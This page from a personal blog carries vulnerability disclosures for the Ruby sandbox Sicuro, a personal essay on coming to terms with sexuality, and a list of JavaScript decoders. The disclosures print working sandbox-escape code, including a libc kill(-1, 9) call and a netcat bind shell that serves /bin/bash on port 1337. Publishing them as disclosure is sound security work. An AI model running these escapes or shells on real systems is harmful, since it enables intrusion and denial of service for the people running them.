duckinator.net

Untrusted Code Execution Bug in Sicuro (Round 2)

Nick Markwell — Tue, 19 Mar 2013 00:00:00 +0000

This has been fixed as of Sicuro v0.6.0.

This is a required update. There should be no loss in functionality.

Scott Olson found a major security hole in Sicuro, 8 months (almost to the day) after the one Jens Nockert found.

Scott demonstrated that you could use the $stdin variable to get a reference to the IO class. This provided undetered access to the filesystem and shell.

The following is the code Scott used:

io=$stdin.class; f=io.new(io.sysopen("hack", "w")); f.puts "you dun goofed"; f.close

The problem was simply that since $stdin wasn't worth using, I had forgotten to change it to a StringIO instance. However, when looking into it, I found that STDOUT, STDERR, and STDIN were vulnerable to the same issue. This led to a rather verbose change that fixed it by placing any references to IO out of scope of the untrusted code.

I highly recommend that everyone upgrade immediately. This is a major security hole, and allows access to all of the IO class.

Sexuality

Nick Markwell — Tue, 12 Feb 2013 00:00:00 +0000

When it comes to sexuality, I have a somewhat unique viewpoint. When I was younger, I was outright homophobic. The idea of homosexuality scared me, because I did not understand it. I never tried to understand it. That's not something I'm particularly proud of, but I've got to own up to it. As I learned more about various sexual identities and gender identities, I came to be far more accepting. That homophobic thought process, however, was drilled in rather deep. It goes against everything I stand for, but it remains. I still struggle with it quite often.

Then came highschool and a few years following it. I questioned my sexuality for over half a decade, but I had built up a strong defense of "I assure you, I am straight!" to protect myself from the bullying. It was easier to assume I was straight and ignore the questions than to fight with both people and my own brain in an attempt to understand my feelings.

Then came 2012. I had been out of highschool for over two years, and was going through a rather rough time in my life. That's when I came to the realization I had a crush on a guy. That emotional shield fell quick, and damn did it leave a mess.

The term I've found that comes closest to describing what I am is "pansexual." Wiktionary sums it up best:

Sexually attracted or open to all people regardless of gender, gender identity, or sexual orientation.

Despite this, my brain was — and to some extent still is — a disturbing mix of homophobic thoughts and finding myself attracted to both men and women, and some who identify as neither. The homophobic thoughts are promptly shot down because that's not who I want to be, but it always hurts when they come up. I often wake up because such horrid thoughts as "fuck you, faggot" get into my dreams — and that's referring to myself. Damn does that hurt. It cuts right through any barriers I have against other people. I'd be lying if I said my thoughts of that sort have never made me cry.

A strange view of the world

As terrible as this conflict within my own mind may be, it gives me an interesting vantage point for the behavior I've seen from both LGBT people and activists, as well as those who oppose them. I can understand both sides, because I have been on both sides.

Below I'll try my best to explain how things look from the views I have.

My view as an LGBT person

My gut reaction when I see a homophobic person is to assume they have no logic behind it. However, when I think about it, I can remember the logic I used. It's scary logic, but it's there. The "if you'd just think, you'd realize I'm right!" approach won't work on people of this sort. Ask them why they dislike you. Open a dialog with them, and explore the different viewpoints. They are not inherently evil. In my case, it was entirely due to lack of knowledge. It took somebody sitting down with me, treating me as a friend, and talking to me about their sexuality before I began to understand.

My view as a fear-driven homophobic person

If you don't understand something at all, the gut reaction tends to be to fear it. Some people hide from their fears, and others lash out at them. From what I have seen, many who dislike LGBT people due to fear often need no more than to have it explained to them without any assumptions on their character. They don't understand that it is not a choice. They don't understand that LGBT people can truly be happy. They don't understand because they have never been told.

I know very well that many people are not that way, but I am living proof that some are.

Final thoughts

I'm really not sure how I could close this. It's a bizarre thing, and it scares the hell out of me. At one point I was the person I hate. Twice. It's a painful thing to sort out. I guess all I can really say is thank you everyone who has tried to help me out. It is greatly appreciated.

Untrusted Code Execution Bug in Sicuro

Nick Markwell — Thu, 19 Jul 2012 00:00:00 +0000

This has been fixed as of Sicuro v0.4.0.

Unfortunately, I had to disable require and load almost entirely. The exception is that require will return false if a file was already included.

Jens Nockert has exposed a rather major security hole in Sicuro.

Under basically any circumstances, Sicuro can be used to execute untrusted code. The demonstrated technique used by Jens was to terminate the process group that Sicuro#eval was called from. By modifying one of the parameters, it would instead terminate all processes that can be terminated by the user who ran the initial Sicuro#eval call. I have demonstrated the ability to use it to access a remote shell, but am unsure if it could be used for privilege escalation.

The main problem

It appears that attempts at making Sicuro more efficient have actually left it wide open to abuse. There was an attempt to make it lazily load trusted components, and that seems to have opened up a bug letting you require anything in the stdlib, including DL. DL is used for loading shared objects and calling functions in them.

Please note that it can require, any code in the ruby stdlib, and this is just a single example.

The following is the relevant part of the code for lazily loading trusted components. You can view it in context in lib/sicuro/base.rb, lines 254 through 256.

# Without Gem we won't require unresolved gems, therefore we restore the original require.
# This allows us to lazy-require other trusted components from the same $LOAD_PATH.
::Kernel.module_eval { alias require gem_original_require }

Following is a tidied up version of the code that exposed the bug.

require 'dl'
require 'dl/import'

module Libc
  extend DL::Importer
  dlload '/lib/libc.so.6'
  extern 'int kill(int, int)'
end

Libc.kill(0, 9)

Calling Libc.kill(-1, 9) will terminate all processes the user who called Sicuro.eval can terminate.

Here is similar code that will allow you to execute arbitrary shell code:

require 'dl'
require 'dl/import'

module Libc
  extend DL::Importer
  dlload '/lib/libc.so.6'
  extern 'int system(const char*)'
end

Libc.system('nc -lp 1337 -e /bin/bash &')

Congratulations, you now can run netcat $IP 1337 to connect. The IP could easily be gained through similar means.

There's a video at the bottom, but it's a bit difficult to read at that scale, so you can go directly to the video.

It may also be possible to escalate privileges using this method.

The small problem

There's always something hiding, right? That little thing you find when hunting another bug. This one happened to be that GC, Signal, and ObjectSpace were whitelisted. This isn't exactly good.

At the very least, GC.disable could make it use too much memory, causing instability, and Signal.trap could be used to handle signals used to terminate the process – and ignore them. I'm not entirely sure what ObjectSpace can be used for, but I do not know what it does, so I do not like it being whitelisted. I've also been told ObjectSpace is "dangerous." I may look into this later.

GC, Signal, and ObjectSpace will not be whitelisted as of the next release.

Conclusion

While removing things from the whitelist was trivial, fixing the code execution problem is proving immensely difficult. I am not sure I will be able to fix it and retain all current functionality.

I highly recommend that, once the next version is released, everyone upgrade immediately. This is a major security hole, and allows execution of any untrusted code that can be done through a shared library. This includes calls to system() and related functions, as mentioned above.

Javascript magic up the wazoo!

Nick Markwell — Tue, 08 May 2012 00:00:00 +0000

List, and descriptions, of various decoders

(WIP)

This is just a quick list of various JavaScript decoders, VMs, and the like.

Image decoders

All of these render using Canvas.

pdf.js - Demo
png.js - Demo
jpgjs - Demo
jsgif - Demo
bmp.js - Demo
weppy (WebP) - Demo
canvg (SVG) - Demo
psd.js - Demo (Demo requires drag-and-drop support)

Video decoders

Broadway (H.264) - Demo (Uses WebGL?)
Route9.js (VP8/WebM) - Demo

Plugin replacements

shumway (Flash) - No demo.
jvm-js - No demo.
BicaVM (JVM) - No demo.

Browser features

html2canvas - Demo. Examples/tests.
DrawWindow - Renders HTML to Canvas. Demos
dom.js - Pure JavaScript implementation of the DOM. No demo.

Audio

pitch.js - pitch detection library.
Aurora.js - this is not a decoder, but rather a framework for making them.

Codecs using Aurora.js:

aac.js - No demo yet.
alac.js - Demo
flac.js - Demo
jsmad (MP3) - See mp3.js.
mp3.js - Fork of jsmad modified to use Aurora.js. Demo
ogg/vorbis - Demo: the README explains how to run a demo locally.

Codecs not using Aurora.js:

pcmdata.js (.wav) - No demo.
mp2dec.js - Demo
ogg/vorbis - Alternative, and older, ogg/vorbis implementation. This may not be FOSS. Demo